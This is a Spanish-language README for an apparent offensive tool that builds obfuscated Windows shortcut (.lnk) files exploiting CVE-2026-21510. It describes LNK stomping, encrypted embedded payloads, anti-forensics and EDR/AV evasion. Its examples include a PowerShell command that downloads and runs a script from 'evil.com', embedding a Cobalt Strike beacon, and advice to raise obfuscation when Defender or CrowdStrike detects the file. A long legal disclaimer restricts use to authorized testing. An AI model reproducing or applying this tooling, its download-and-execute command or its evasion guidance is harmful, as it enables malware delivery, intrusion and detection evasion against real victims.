
Genera archivos .lnk ofuscados que explotan CVE-2026-21510 con LNK stomping, payloads cifrados y antiforense para pruebas de penetración autorizadas y operaciones de red team.
README EpSiLoNPoInTlnk CVE-2026-21510 - Generador de .LNK Herramienta para la generación de archivos .lnk que utilizan la vulnerabilidad CVE-2026-21510 (Windows ShellLink Remote Code Execution). Diseñada para la investigación en seguridad ofensiva, pruebas de penetración autorizadas y análisis de vulnerabilidades.
Aviso Legal ⚠️ ESTA HERRAMIENTA ESTÁ DESTINADA ÚNICAMENTE A UN USO LEGAL Y AUTORIZADO. Cualquier uso no autorizado contra sistemas o redes violaría las leyes locales e internacionales (ej: Computer Fraud and Abuse Act (CFAA), RGPD, Ley Godfrain en Francia). El autor declina toda responsabilidad en caso de mal uso. (Ver la Cláusula de No Responsabilidad a continuación.)
Descripción Este generador crea archivos .lnk ofuscados para utilizar CVE-2026-21510, una vulnerabilidad en el procesamiento de accesos directos de Windows. Integra:
LNK Stomping (5 variantes: dot, path_segment, relative, double_extension, unicode)
PropertyStore con CLSID aleatorios y PKEY
KnownFolderDataBlock (KnownFolderID aleatorios o dirigidos)
EnvironmentVariableDataBlock (ofuscación Unicode, variables dinámicas)
Ofuscación (Niveles 1-5: TrackerDataBlock, ConsoleDataBlock, bloques aleatorios)
Payloads integrados y cifrados (AES-256-CBC + XOR)
Anti-Forense (marcas de tiempo a 0, tamaño de archivo a 0, metadatos mínimos)
Evasión EDR/AV (procesos legítimos, argumentos ofuscados en PowerShell)
Generación de variantes aleatorias (10+ variantes únicas para evitar firmas)
Requisitos Sistema SO: Windows (para probar los .lnk generados) o Linux/macOS (para la generación).
Python: ≥ 3.10. Dependencias: pip install pycryptodome
Herramientas Recomendadas Análisis: PEStudio, Detect It Easy (DIE)
Depuración: x64dbg, WinDbg
Pruebas: Máquina virtual Windows (ej: Windows 10/11 en VirtualBox) aislada.
Instalación Clonar el repositorio: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk Instalar las dependencias: pip install -r requirements.txt (Opcional) Crear un entorno virtual: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
Uso
Generación Básica python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk Genera un .lnk que utiliza CVE-2026-21510 para lanzar calc.exe.
Opciones Avanzadas Opción Descripción Valor por defecto --target Ruta objetivo (ej: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args Argumentos para el objetivo (ej: /c whoami) /c calc.exe --output Ruta de salida del .lnk ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir Directorio de trabajo C:\Windows\System32 --description Descripción del acceso directo Cadena aleatoria --unc Usar una ruta UNC (?\C:...) False --lnk-stomping Activar el LNK Stomping True --stomping-variant Variante de LNK Stomping (dot, path_segment, relative, double_extension, unicode, random) random --obfuscation Añadir bloques ExtraData innecesarios True --obfuscation-level Nivel de ofuscación (1-5) 5 --embed-payload Ruta a un archivo para integrar (ej: payload.bin) None --encrypt-payload Cifrar el payload (AES-256-CBC + XOR) True --anti-forensics Aplicar técnicas anti-forenses True --randomize-clsid Aleatorizar el CLSID en PropertyStore True --randomize-known-folder Aleatorizar el KnownFolderID True --obfuscate-arguments Ofuscar los argumentos (PowerShell) True --generate-variants Generar N variantes aleatorias 0 --debug Modo depuración avanzado (registros detallados) False
Ejemplos
Ejemplo 1: Exploit con Payload Integrado
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
Genera un .lnk con un payload cifrado (AES-256 + XOR) y ofuscado.
Ejemplo 2: Generación de 10 Variantes Aleatorias
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
Crea 10 variantes únicas para evitar firmas EDR/AV.
Ejemplo 3: Modo Minimalista (para pruebas)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
Genera un .lnk no ofuscado (para análisis o depuración).
Funcionamiento Técnico
Cabecera ShellLink (0x4C octetos fijos + offsets): LinkCLSID: 00021401-0000-0000-C000-000000000046 (obligatorio). LinkFlags: Configurado para activar HasRelativePath, HasWorkingDir, IsUnicode, etc.
StringData: RelativePath: Ruta objetivo (con LNK Stomping si está activado). WorkingDir: Directorio de trabajo (ej: C:\Windows\System32). Arguments: Argumentos ofuscados (PowerShell, cmd, etc.).
Bloques ExtraData (orden crítico): PropertyStoreDataBlock: Contiene PKEY_AppUserModel_ID (CLSID aleatorio). KnownFolderDataBlock: Apunta a una carpeta del sistema (ej: %SystemRoot%). EnvironmentVariableDataBlock: Fuerza la expansión de variables antes del Mark-of-the-Web (MotW). Bloques de Ofuscación (según obfuscation_level): TrackerDataBlock (Nivel 1) ConsoleDataBlock (Nivel 2) DarwinDataBlock, ShimDataBlock, etc. (Niveles 3-5)
Payload Integrado (si --embed-payload): Cifrado con AES-256-CBC + XOR.
El payload se cifra con AES-256-CBC (clave aleatoria de 32 octetos, IV de 16 octetos).
Se aplica una capa XOR con los primeros 16 octetos de la clave AES.
La clave y el IV se almacenan en un ShimDataBlock para descifrado posterior.
Pruebas y Validación
El tamaño mínimo del archivo.
La validez del HeaderSize y del CLSID.
La presencia de los LinkFlags requeridos.
La estructura de los bloques ExtraData (PropertyStore, KnownFolder, etc.).
Ejecución (en un entorno aislado): Hacer doble clic en el .lnk y observar el comportamiento. Usar Process Monitor (ProcMon) para analizar las llamadas al sistema.
Detección EDR/AV: Probar con herramientas como Windows Defender o CrowdStrike. Si el .lnk es detectado, aumentar el obfuscation_level o desactivar ciertas opciones.
Casos de Uso Escenario Comando Descripción Prueba de Penetración --target "C:\Windows\System32\cmd.exe" --args "/c whoami" Verifica si el exploit funciona en una máquina objetivo. Red Team --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 Genera un .lnk con un payload Cobalt Strike ofuscado. Investigación --generate-variants 50 --output-dir ./samples Crea 50 variantes para probar las detecciones EDR. Depuración --debug --obfuscation False Muestra registros detallados para analizar la estructura del .lnk. Contribuciones ¡Las contribuciones son bienvenidas! Así es como contribuir:
Haz un fork del proyecto.
Crea una rama (git checkout -b feature/mi-nueva-funcionalidad).
Haz commit de tus cambios (git commit -m "Añadida la funcionalidad X").
Haz push a la rama (git push origin feature/mi-nueva-funcionalidad).
Abre una Pull Request. Ideas de Contribuciones:
Añadir nuevas variantes de LNK Stomping.
Implementar otros algoritmos de cifrado (ej: ChaCha20).
Mejorar la ofuscación de argumentos (ej: uso de JScript).
Añadir pruebas unitarias para validar las estructuras .lnk.
Licencia Este proyecto está bajo licencia MIT. Ver el archivo LICENSE para más detalles.
Cláusula de No Responsabilidad 🚨 Cláusula de No Responsabilidad
📜 CLÁUSULA DE NO RESPONSABILIDAD (DISCLAIMER)
Lea atentamente antes de cualquier uso de esta herramienta.
⚠️ ADVERTENCIA JURÍDICA EXPLÍCITA
El usuario de esta herramienta (en adelante denominado "el Usuario") reconoce y acepta expresamente los siguientes términos:
Uso Legal Únicamente
Esta herramienta está exclusivamente destinada a un uso legal y autorizado, como:
La investigación en seguridad informática en un marco académico o profesional.
Las pruebas de penetración (pentest) en sistemas sobre los que el Usuario tenga autorización escrita del propietario.
El análisis de vulnerabilidades en entornos controlados (ej: laboratorios de seguridad, CTF, bug bounty autorizados).
Cualquier otro uso está estrictamente prohibido y puede constituir una infracción penal en numerosas jurisdicciones, incluyendo (pero sin limitarse a):
Francia: Ley n.º 88-19 del 5 de enero de 1988 (Ley Godfrain), artículos 323-1 a 323-7 del Código Penal (acceso fraudulento, modificación de datos, etc.).
Unión Europea: Directiva 2013/40/UE sobre ataques contra sistemas de información.
Estados Unidos: Computer Fraud and Abuse Act (CFAA), 18 U.S. Code § 1030.
Otros países: Leyes locales equivalentes (ej: Computer Misuse Act en el Reino Unido).
Ausencia de Garantía
El Autor (EpSiLoNPoInT) no ofrece ninguna garantía, explícita o implícita, respecto a:
La fiabilidad, exactitud o utilidad de esta herramienta.
La ausencia de errores o vulnerabilidades en el código.
La compatibilidad con todos los sistemas o entornos.
Los resultados obtenidos durante el uso de la herramienta.
El Usuario asume todos los riesgos relacionados con el uso de esta herramienta, incluyendo (pero sin limitarse a):
Los daños materiales o de software causados a su propio sistema o a sistemas de terceros.
Las consecuencias legales en caso de violación de las leyes aplicables.
Las pérdidas de datos o interrupciones del servicio.
Limitación de Responsabilidad
En ningún caso, el Autor, los contribuyentes, o cualquier otra parte implicada en la creación, producción o distribución de esta herramienta podrá ser considerada responsable de:
Cualquier daño (directo, indirecto, incidental, especial, ejemplar o consecuente), incluyendo (pero sin limitarse a):
Las pérdidas de beneficios.
Las pérdidas de datos o la corrupción de archivos.
Los daños a la reputación.
Las acciones judiciales o multas incurridas por el Usuario.
Incluso si el Autor ha sido informado de la posibilidad de tales daños.
Cumplimiento de Leyes y Reglamentos
El Usuario se compromete a cumplir todas las leyes, reglamentos y normas aplicables en su jurisdicción, incluyendo (pero sin limitarse a):
Las leyes de protección de datos (ej: RGPD en la UE).
Las leyes de ciberseguridad y fraude informático.
Las políticas de seguridad de su empleador u organización.
El Usuario indemnizará y eximirá al Autor de cualquier reclamación, daño o gasto (incluidos los honorarios legales) derivados de una violación de estas leyes o compromisos.
Prohibición de Redistribución Maliciosa
El Usuario se prohíbe formalmente:
Vender, alquilar o redistribuir esta herramienta con fines maliciosos.
Modificar el código para convertirlo en un arma cibercriminal (ej: ransomware, spyware).
Usar esta herramienta para atacar infraestructuras críticas (ej: hospitales, gobiernos, bancos) sin autorización explícita.
Compartir esta herramienta con terceros sin comunicarles esta cláusula de no responsabilidad.
Exclusión de Responsabilidad para Terceros
Esta herramienta puede interactuar con bibliotecas de terceros (ej: pycryptodome).
El Autor no controla ni es responsable de las acciones o vulnerabilidades de estas bibliotecas.
El Usuario debe verificar la licencia y la seguridad de cualquier dependencia utilizada.
Uso Bajo Su Propio Riesgo
Al usar esta herramienta, acepta plena e incondicionalmente los términos de esta cláusula.
Si no está de acuerdo con estos términos, no use esta herramienta y elimine inmediatamente todas las copias en su posesión.
Jurisdicción y Ley Aplicable
Esta cláusula se rige e interpreta de conformidad con las leyes de la República Francesa.
Cualquier disputa derivada de o relacionada con esta cláusula o el uso de esta herramienta estará sujeta a la competencia exclusiva de los tribunales de París (Francia).
🔐 Recomendaciones de Seguridad
Para un uso seguro y legal de esta herramienta: ✅ Aísle siempre las pruebas en un entorno virtual (ej: VirtualBox, VMware). ✅ Obtenga una autorización escrita antes de probar en sistemas que no le pertenezcan. ✅ Desactive las conexiones de red de las máquinas de prueba para evitar fugas accidentales. ✅ Use herramientas de monitoreo (ej: Wireshark, Process Monitor) para analizar el comportamiento. ✅ Reporte las vulnerabilidades de manera responsable (ej: a través de programas de bug bounty). ❌ Nunca pruebe en sistemas de producción sin autorización. ❌ No comparta los exploits generados con personas no autorizadas. ❌ No almacene payloads maliciosos en sistemas accesibles al público.
📞 Contacto
Para cualquier pregunta legal o técnica sobre esta herramienta:
Autor: EpSiLoNPoInT
Email: [email protected]
GitHub: EpSiLoNPoInTOrI
⚠️ Nota: El Autor no proporcionará ningún soporte para usos ilegales o no éticos de esta herramienta.
📅 Fecha de la Cláusula
Última actualización: 9 de mayo de 2026 Versión: 1.0